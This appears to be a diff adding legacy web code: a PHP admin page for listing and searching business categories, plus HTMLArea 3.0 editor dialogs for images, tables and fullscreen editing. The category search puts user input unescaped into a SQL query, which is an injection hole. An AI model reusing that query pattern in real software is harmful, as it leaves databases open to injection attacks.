+$lnav["Expand All"] = "list_bus_category.phtml?expand_all=1";
+$lnav["Collapse All"] = "list_bus_category.phtml?collaspe_all=1";
+unset($lnav["List Pages"]);
+html_nav_table($lnav, 6);
+?>
+<table id="admin-list-table" style="width:500px;">
+<tr>
+<td>
+<form name="search_form" action="<?php echo $PHP_SELF;?>">
+<input name="cat_search" value="<?php echo stripslashes($cat_search);?>">
+<input type="submit" name="Command" value="Search Pages">
+</form>
+</td>
+</tr>
+
+<tr><td>
+
+<form action="update_bus_category.phtml" method="POST">
+<?
+include_once("threads.phtml");
+if( !isset( $cat_search ) || $cat_search == '' )
+{
+ $qs = "SELECT id,parent,pos,category,active,kiosk
+ FROM bus_category
+ WHERE parent is not null
+ ORDER BY pos;";
+
+ if(!$res = $DB->db_exec($qs))
+ {
+ echo "Failure".$qs;
+ }
+ for($i=0;$i<pg_numrows($res);$i++)
+ {
+ $data = pg_fetch_array($res,$i,PGSQL_ASSOC);
+ $id = $data[id];
+ $category = $data["category"];
+ $parent = $data[parent];
+ $position = $data[pos];
+ if(TOOLBOX_FLAGS == 1 && $data['id'] != HOME_ID)
+ {
+ if($data['active'] == 't')
+ {
+ $alt = "Don't display";
+ }
+ else
+ {
+ $alt = "Display";
+ }
+ $active = '<a title="'.$alt.'" href="'.$PHP_SELF."?active=$data[active]&id=$data[id]".'"><img src="'.URL_BASE .'images/';
+ $active .= ( $data[active] == "t" ) ? 'grnball.gif':'redball.gif';
+ $active .= '" alt="'.$alt.'" title="'.$alt.'" border=0></a>';
+ // kiosk part
+ if($data['kiosk'] == 't')
+ {
+ $alt = "Don't display";
+ }
+ else
+ {
+ $alt = "Display";
+ }
+ $kiosk = '<a title="'.$alt.'" href="'.$PHP_SELF."?kiosk=$data[kiosk]&id=$data[id]".'"><img src="'.URL_BASE .'images/';
+ $kiosk .= ( $data['kiosk'] == "t" ) ? 'grnball.gif':'redball.gif';
+ $kiosk .= '" alt="'.$alt.'" title="'.$alt.'" border=0></a>';
+ }
+ elseif($data['id'] == HOME_ID)
+ {
+ $active = " ";
+ $kiosk = " ";
+ }
+ if($show_pos)
+ {
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ if(!$maxresult = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+ $max_data = $DB->db_fetch_array($maxresult,0,PGSQL_ASSOC);
+ $maxpos = $max_data['maxpos'];
+ $pos = "<select name=pos style=\"font-size:12px;\"
+ onChange=location.href=this[this.selectedIndex].value;
+ size=1>";
+ for($newpos=1;$newpos<=$maxpos;$newpos++)
+ {
+ $string = "Command=Move&id=$id&parent=$parent&newpos=$newpos";
+ $pos .= "<option value=\"update_bus_category.phtml?$string\"";
+ if($newpos == $position)
+ {
+ $pos .= " selected";
+ }
+ $pos .= ">$newpos\n";
+ }
+ $pos .= "</select>";
+ }
+ if( $expand_all == true )
+ {
+ $close = false;
+ $expanded[$id] = 1;
+ }
+ if( $collaspe_all == true )
+ {
+ $close = true;
+ unset($expanded[$id]);
+ }
+ if( $expanded[$id] )
+ {
+ $close = false;
+ }
+ else
+ {
+ $close = true;
+ }
+ $url = $toolbox->get_seo_url( $id );
+ $threads[] = array("ID" => $id,"content" => $category,"pos" => $pos,"parent" =>
+ $parent,"active" => $active,'kiosk'=>$kiosk,"closed" => $close,'seo_url'=>$url);
+ }
+
+ $links = array(
+ "beginLevel" => "<ul>",
+ "beginLevel2" => "<ul id=\"toolbox\">",
+ "endLevel" => "</ul>",
+ "beginItem" => "<li>",
+ "beginItem2" => "<li class=\"toolboxArrow\">",
+ "endItem" => "</li>");
+ if($DB->db_numrows($res) != 0)
+ {
+ $myThread = new Thread($links);
+ $converted = $myThread->sortChilds($threads); //sort threads by parent
+ print $myThread->convertToThread($converted, $converted[0]); //print the threads
+ }
+}
+else
+{
+ $toolbox =& new GLM_TEMPLATE( NULL );
+ $query = "select * from bus_category where category ilike '%$cat_search%';";
+ //echo $query;
+ $res = $DB->db_exec( $query );
+ if( pg_numrows( $res ) > 0 )
+ {
+ echo '<ul id="toolbox">';
+ while( $row = pg_fetch_object( $res ) )
+ {
+ if(TOOLBOX_FLAGS == 1)
+ {
+ if($row->active == 't')
+ {
+ $alt = "Don't display";
+ }
+ else
+ {
+ $alt = "Display";
+ }
+ $active = '<a title="'.$alt.'" href="'.$PHP_SELF.'?cat_search='.urlencode(stripslashes($cat_search)).'&active='.$row->active.'&id='.$row->id.'">';
+ if( $row->id == HOME_ID )
+ {
+ $active = '';
+ }
+ elseif($row->active == "t")
+ {
+ $active .= "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0></a>";
+ }
+ else
+ {
+ $active .= "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0></a>";
+ }
+ }
+ $url = $toolbox->get_seo_url( $row->id );
+ $params = "&cat_search=".urlencode(stripslashes($cat_search));
+ echo '<li>
+ <a href="edit_bus_category.phtml?id='.$row->id.$params.'">[Edit]</a>
+ <a href="list_bus.phtml?catid='.$row->id.$params.'">[Paragraphs]</a>
+ <a href="'.$url.'" target="_BLANK">[Preview]</a>
+ '.$active.'
+ <strong>'.strip_tags($row->category).'</strong>
+ </li>';
+ }
+ echo '</ul>';
+ }
+ else
+ {
+ echo 'Nothing found!';
+ }
+}
+?>
+</form>
+</td></tr>
+</table>
+</div>
+<?
+footer();
+?>
--- /dev/null
+<html style="width: 380px; height: 250px;">
+<head><title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+function closeAbout() {
+ __dlg_close(null);
+}
+</script>
+<style>
+ html,body,textarea { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+ tt { font-size: 120%; }
+ body { padding: 0px; background: ButtonFace; color: ButtonText; }
+ a:link, a:visited { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ button { font: 11px tahoma,verdana,sans-serif; }
+</style></head>
+<body onload="__dlg_init()">
+
+<div style="background-color: #fff; color: #000; padding: 3px; border-bottom: 1px solid #000;">
+<div style="font-family: 'arial black',arial,sans-serif; font-size: 28px;
+letter-spacing: -1px;">
+<span style="position: relative; top: -0.2em">H</span><span
+style="position: relative; top: 0.1em">T</span><span
+style="position: relative; top: -0.1em">M</span><span
+style="position: relative; top: 0.2em">L</span> Area
+3.0 <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. beta ]</span></div>
+
+<div style="text-align: right; font-size: 90%; margin-bottom: 1em">
+Released on Aug 11, 2003 [21:30] GMT
+</div>
+</div>
+
+<div style="margin: 1em">
+
+<p>A free WYSIWYG editor replacement for <tt><textarea></tt> fields.</p>
+
+<p>For full source code and docs, visit:<br />
+<a href="http://www.interactivetools.com/products/htmlarea/" target="_blank"
+>http://www.interactivetools.com/products/htmlarea/</a></p>
+
+<p>Version 3.0 developed and maintained by <a href="http://students.infoiasi.ro/~mishoo/" target="_blank">mishoo</a>.</p>
+
+<p>© 2002, 2003 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc. All Rights Reserved.</p>
+
+</div>
+
+<div style="text-align: right; padding: 0px 3px 3px 0px;">
+<button type="button" onclick="closeAbout()">I agree it's cool</button>
+</div>
+
+</body></html>
+
+
--- /dev/null
+<html>
+</html>
\ No newline at end of file
--- /dev/null
+<html style="width:300px; Height: 60px;">
+ <head>
+ <title>Select Phrase</title>
+<script language="javascript">
+
+var myTitle = window.dialogArguments;
+document.title = myTitle;
+
+
+function returnSelected() {
+ var idx = document.all.textPulldown.selectedIndex;
+ var text = document.all.textPulldown[idx].text;
+
+ window.returnValue = text; // set return value
+ window.close(); // close dialog
+}
+
+</script>
+</head>
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>
+
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">
+<div align=center>
+
+<select name="textPulldown">
+<option>The quick brown</option>
+<option>fox jumps over</option>
+<option>the lazy dog.</option>
+</select>
+
+<input type="button" value=" Go " onClick="returnSelected()">
+
+</div>
+</form>
+</body></html>
\ No newline at end of file
--- /dev/null
+<html>
+ <head>
+ <title>Editor Help</title>
+ <style>
+ body, td, p, div { font-family: arial; font-size: x-small; }
+ </style>
+ </head>
+<body>
+
+<h2>Editor Help<hr></h2>
+
+Todo...
+
+
+</body>
+</html>
\ No newline at end of file
--- /dev/null
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css">
+@import url(../htmlarea.css);
+html, body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<!--
+<script type="text/javascript" src="../htmlarea.js"></script>
+<script type="text/javascript" src="../htmlarea-lang-en.js"></script>
+<script type="text/javascript" src="../dialog.js"></script>
+-->
+
+<script type="text/javascript">
+// load same scripts that were present in the opener page
+var scripts = opener.document.getElementsByTagName("script");
+var head = document.getElementsByTagName("head")[0];
+for (var i = 0; i < scripts.length; ++i) {
+ var script = scripts[i];
+ if (typeof script.src != "undefined" && /\S/.test(script.src)) {
+ // document.write("<scr" + "ipt type=" + "\"script/javascript\"");
+ // document.write(" src=\"../" + script.src + "\"></scr" + "ipt>");
+ var new_script = document.createElement("script");
+ if (/^http:/i.test(script.src)) {
+ new_script.src = script.src;
+ } else {
+ new_script.src = "../" + script.src;
+ }
+ head.appendChild(new_script);
+ }
+}
+</script>
+
+<script type="text/javascript">
+
+var parent_object = null;
+var editor = null; // to be initialized later [ function init() ]
+
+/* ---------------------------------------------------------------------- *\
+ Function :
+ Description :
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc(ev) {
+ if (document.all) {
+ // IE
+ ev = window.event;
+ }
+ if (ev.keyCode == 27) {
+ // update_parent();
+ window.close();
+ return;
+ }
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : cloneObject
+ Description : copy an object by value instead of by reference
+ Usage : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf("function Array(") == 1) {
+ newObj = obj.constructor();
+ }
+
+ // check for function objects (as usual, IE is fucked up)
+ if (obj.constructor.toString().indexOf("function Function(") == 1) {
+ newObj = obj; // just copy reference to it
+ } else for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : resize_editor
+ Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() { // resize editor to fix window
+ var newHeight;
+ if (document.all) {
+ // IE
+ newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;
+ if (newHeight < 0) { newHeight = 0; }
+ } else {
+ // Gecko
+ newHeight = window.innerHeight - editor._toolbar.offsetHeight;
+ }
+ if (editor.config.statusBar) {
+ newHeight -= editor._statusBar.offsetHeight;
+ }
+ editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : init
+ Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+ parent_object = opener.HTMLArea._object;
+ var config = cloneObject( parent_object.config );
+ config.editorURL = "../";
+ config.width = "100%";
+ config.height = "auto";
+
+ // change maximize button to minimize button
+ config.btnList["popupeditor"] = [ 'Minimize Editor', 'images/fullscreen_minimize.gif', true,
+ function() { window.close(); } ];
+
+ // generate editor and resize it
+ editor = new HTMLArea("editor", config);
+ editor.generate();
+ editor._iframe.style.width = "100%";
+ editor._textArea.style.width = "100%";
+ resize_editor();
+
+ // set child window contents and event handlers, after a small delay
+ setTimeout(function() {
+ editor.setHTML(parent_object.getInnerHTML());
+
+ // switch mode if needed
+ if (parent_object._mode == "textmode") { editor.setMode("textmode"); }
+
+ // continuously update parent editor window
+ setInterval(update_parent, 500);
+
+ // setup event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ editor._doc.body.onkeypress = _CloseOnEsc;
+ editor._textArea.onkeypress = _CloseOnEsc;
+ window.onresize = resize_editor;
+ }, 333); // give it some time to meet the new frame
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : update_parent
+ Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+ // use the fast version
+ parent_object.setHTML(editor.getInnerHTML());
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">
+<textarea name="editor" id="editor" style="width:100%; height:300px"> </textarea>
+</form>
+
+</body></html>
--- /dev/null
+<html style="width: 398; height: 218">
+
+<head>
+ <title>Insert Image</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+var preview_window = null;
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_url").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_url": "You must enter the URL",
+ "f_alt": "Please enter the alternate text"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ // pass data back to the calling window
+ var fields = ["f_url", "f_alt", "f_align", "f_border",
+ "f_horiz", "f_vert"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ if (preview_window) {
+ preview_window.close();
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ if (preview_window) {
+ preview_window.close();
+ }
+ __dlg_close(null);
+ return false;
+};
+
+function onPreview() {
+ alert("FIXME: preview needs rewritten:\n show the image inside this window instead of opening a new one.");
+ var f_url = document.getElementById("f_url");
+ var url = f_url.value;
+ if (!url) {
+ alert("You have to enter an URL first");
+ f_url.focus();
+ return false;
+ }
+ var img = new Image();
+ img.src = url;
+ var win = null;
+ if (!document.all) {
+ win = window.open("about:blank", "ha_imgpreview", "toolbar=no,menubar=no,personalbar=no,innerWidth=100,innerHeight=100,scrollbars=no,resizable=yes");
+ } else {
+ win = window.open("about:blank", "ha_imgpreview", "channelmode=no,directories=no,height=100,width=100,location=no,menubar=no,resizable=yes,scrollbars=no,toolbar=no");
+ }
+ preview_window = win;
+ var doc = win.document;
+ var body = doc.body;
+ if (body) {
+ body.innerHTML = "";
+ body.style.padding = "0px";
+ body.style.margin = "0px";
+ var el = doc.createElement("img");
+ el.src = url;
+
+ var table = doc.createElement("table");
+ body.appendChild(table);
+ table.style.width = "100%";
+ table.style.height = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+ var tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ var td = doc.createElement("td");
+ tr.appendChild(td);
+ td.style.textAlign = "center";
+
+ td.appendChild(el);
+ win.resizeTo(el.offsetWidth + 30, el.offsetHeight + 30);
+ }
+ win.focus();
+ return false;
+};
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Image</div>
+
+<form action="" method="get">
+<table border="0" width="100%" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 7em; text-align: right">Image URL:</td>
+ <td><input type="text" name="url" id="f_url" style="width:75%"
+ title="Enter the image URL here" />
+ <button name="preview" onclick="return onPreview();"
+ title="Preview the image in a new window">Preview</button>
+ </td>
+ </tr>
+ <tr>
+ <td style="width: 7em; text-align: right">Alternate text:</td>
+ <td><input type="text" name="alt" id="f_alt" style="width:100%"
+ title="For browsers that don't support images" /></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" selected="1" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5"
+title="Leave empty for no border" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Horizontal:</div>
+<input type="text" name="horiz" id="f_horiz" size="5"
+title="Horizontal padding" />
+
+<p />
+
+<div class="fr">Vertical:</div>
+<input type="text" name="vert" id="f_vert" size="5"
+title="Vertical padding" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html style="width: 398; height: 218">
+
+<head>
+ <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_rows": "You must enter a number of rows",
+ "f_cols": "You must enter a number of columns"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+ "f_align", "f_border", "f_spacing", "f_padding"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 4em; text-align: right">Rows:</td>
+ <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td style="width: 4em; text-align: right">Cols:</td>
+ <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+ <td style="width: 4em; text-align: right">Width:</td>
+ <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+ <td><select size="1" name="unit" id="f_unit" title="Width unit">
+ <option value="%" selected="1" >Percent</option>
+ <option value="px" >Pixels</option>
+ <option value="em" >Em</option>
+ </select></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" selected="1" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<script>
+
+// if we pass the "window" object as a argument and then set opener to
+// equal that we can refer to dialogWindows and popupWindows the same way
+if (window.dialogArguments) { opener = window.dialogArguments; }
+
+var _editor_url = "../";
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');
+
+var parent_objname = location.search.substring(1,location.search.length); // parent editor objname
+var parent_config = opener.document.all[parent_objname].config;
+
+var config = cloneObject( parent_config );
+var objname = 'editor'; // name of this editor
+
+// DOMViewerObj = config;
+// DOMViewerName = 'config';
+// window.open('/innerHTML/domviewer.htm');
+
+/* ---------------------------------------------------------------------- *\
+ Function :
+ Description :
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) {
+ update_parent();
+ window.close();
+ return;
+ }
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : cloneObject
+ Description : copy an object by value instead of by reference
+ Usage : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf('function Array(') == 1) {
+ newObj = obj.constructor();
+ }
+
+ for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : resize_editor
+ Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() { // resize editor to fix window
+ var editor = document.all['_editor_editor'];
+
+ newWidth = document.body.offsetWidth;
+ newHeight = document.body.offsetHeight - editor.offsetTop;
+
+ if (newWidth < 0) { newWidth = 0; }
+ if (newHeight < 0) { newHeight = 0; }
+
+ editor.style.width = newWidth;
+ editor.style.height = newHeight;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : init
+ Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+ // change maximize button to minimize button
+ config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor', 'update_parent(); window.close();', 'fullscreen_minimize.gif'];
+
+ // set htmlmode button to refer to THIS editor
+ config.btnList["htmlmode"] = ['HtmlMode', 'View HTML Source', 'editor_setmode(\'editor\')', 'ed_html.gif'];
+
+ // change image url to be relative to current path
+ config.imgURL = "../images/";
+
+ // generate editor and resize it
+ editor_generate('editor', config);
+ resize_editor();
+
+ // switch mode if needed
+ if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }
+
+ // set child window contents
+ var parentHTML = opener.editor_getHTML(parent_objname);
+ editor_setHTML(objname, parentHTML);
+
+ // continuously update parent editor window
+ window.setInterval(update_parent, 333);
+
+ // setup event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ window.onresize = resize_editor;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : update_parent
+ Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+ var childHTML = editor_getHTML(objname);
+ opener.editor_setHTML(parent_objname, childHTML);
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>
+
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>
+
+</body></html>
\ No newline at end of file
--- /dev/null
+<!-- based on insimage.dlg -->
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">
+<HTML id=dlgImage STYLE="width: 432px; height: 194px; ">
+<HEAD>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta http-equiv="MSThemeCompatible" content="Yes">
+<TITLE>Insert Image</TITLE>
+<style>
+ html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };
+</style>
+<SCRIPT defer>
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function _getTextRange(elm) {
+ var r = elm.parentTextEdit.createTextRange();
+ r.moveToElementText(elm);
+ return r;
+}
+
+window.onerror = HandleError
+
+function HandleError(message, url, line) {
+ var str = "An error has occurred in this dialog." + "\n\n"
+ + "Error: " + line + "\n" + message;
+ alert(str);
+ window.close();
+ return true;
+}
+
+function Init() {
+ var elmSelectedImage;
+ var htmlSelectionControl = "Control";
+ var globalDoc = window.dialogArguments;
+ var grngMaster = globalDoc.selection.createRange();
+
+ // event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ btnOK.onclick = new Function("btnOKClick()");
+
+ txtFileName.fImageLoaded = false;
+ txtFileName.intImageWidth = 0;
+ txtFileName.intImageHeight = 0;
+
+ if (globalDoc.selection.type == htmlSelectionControl) {
+ if (grngMaster.length == 1) {
+ elmSelectedImage = grngMaster.item(0);
+ if (elmSelectedImage.tagName == "IMG") {
+ txtFileName.fImageLoaded = true;
+ if (elmSelectedImage.src) {
+ txtFileName.value = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1"); // fix placeholder src values that editor converted to abs paths
+ txtFileName.intImageHeight = elmSelectedImage.height;
+ txtFileName.intImageWidth = elmSelectedImage.width;
+ txtVertical.value = elmSelectedImage.vspace;
+ txtHorizontal.value = elmSelectedImage.hspace;
+ txtBorder.value = elmSelectedImage.border;
+ txtAltText.value = elmSelectedImage.alt;
+ selAlignment.value = elmSelectedImage.align;
+ }
+ }
+ }
+ }
+ txtFileName.value = txtFileName.value || "http://";
+ txtFileName.focus();
+}
+
+function _isValidNumber(txtBox) {
+ var val = parseInt(txtBox);
+ if (isNaN(val) || val < 0 || val > 999) { return false; }
+ return true;
+}
+
+function btnOKClick() {
+ var elmImage;
+ var intAlignment;
+ var htmlSelectionControl = "Control";
+ var globalDoc = window.dialogArguments;
+ var grngMaster = globalDoc.selection.createRange();
+
+ // error checking
+
+ if (!txtFileName.value || txtFileName.value == "http://") {
+ alert("Image URL must be specified.");
+ txtFileName.focus();
+ return;
+ }
+ if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {
+ alert("Horizontal spacing must be a number between 0 and 999.");
+ txtHorizontal.focus();
+ return;
+ }
+ if (txtBorder.value && !_isValidNumber(txtBorder.value)) {
+ alert("Border thickness must be a number between 0 and 999.");
+ txtBorder.focus();
+ return;
+ }
+ if (txtVertical.value && !_isValidNumber(txtVertical.value)) {
+ alert("Vertical spacing must be a number between 0 and 999.");
+ txtVertical.focus();
+ return;
+ }
+
+ // delete selected content and replace with image
+ if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {
+ grngMaster.execCommand('Delete');
+ grngMaster = globalDoc.selection.createRange();
+ }
+
+ idstr = "\" id=\"556e697175657e537472696e67"; // new image creation ID
+ if (!txtFileName.fImageLoaded) {
+ grngMaster.execCommand("InsertImage", false, idstr);
+ elmImage = globalDoc.all['556e697175657e537472696e67'];
+ elmImage.removeAttribute("id");
+ elmImage.removeAttribute("src");
+ grngMaster.moveStart("character", -1);
+ } else {
+ elmImage = grngMaster.item(0);
+ if (elmImage.src != txtFileName.value) {
+ grngMaster.execCommand('Delete');
+ grngMaster = globalDoc.selection.createRange();
+ grngMaster.execCommand("InsertImage", false, idstr);
+ elmImage = globalDoc.all['556e697175657e537472696e67'];
+ elmImage.removeAttribute("id");
+ elmImage.removeAttribute("src");
+ grngMaster.moveStart("character", -1);
+ txtFileName.fImageLoaded = false;
+ }
+ grngMaster = _getTextRange(elmImage);
+ }
+
+ if (txtFileName.fImageLoaded) {
+ elmImage.style.width = txtFileName.intImageWidth;
+ elmImage.style.height = txtFileName.intImageHeight;
+ }
+
